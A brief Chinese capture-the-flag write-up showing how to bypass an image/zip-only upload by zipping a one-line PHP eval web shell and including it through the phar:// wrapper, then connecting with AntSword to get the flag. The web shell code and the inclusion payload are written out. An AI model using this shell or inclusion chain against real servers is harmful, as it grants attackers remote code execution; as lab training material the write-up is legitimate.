进入题目,发现有URL传参,提示只能上传图片或者压缩包,猜测使用phar伪协议
什么是phar伪协议呢?
phar://伪协议是php解压缩报的一个函数,不管后缀是什么,都会当做压缩包来解压,用法:?file=phar://压缩包/内部文件 phar://xxx.png/shell.php 注意 PHP>=5.3.0压缩包需要是zip协议压缩,rar不行,将木马文件压缩后,改为其他任意格式的文件都可以正常使用。步骤:写一个一句话木马shell。php,然后用zip协议解压缩为shell.zip。然后将后缀改为png等其他格式。
简单来说,就是我们写一个一句话木马,然后压缩成.zip,然后再用phar伪协议解压。
所用一句话木马1.php如下:
<?=@ eval($_POST['cmd'])?>
将其压缩成1.zip并上传
然后由于这道题会自动补全.php文件尾,所以payload:
xxxxxxx/?bingdundun=phar://xxxxxxxx.zip/1
蚁剑连接即可得到flag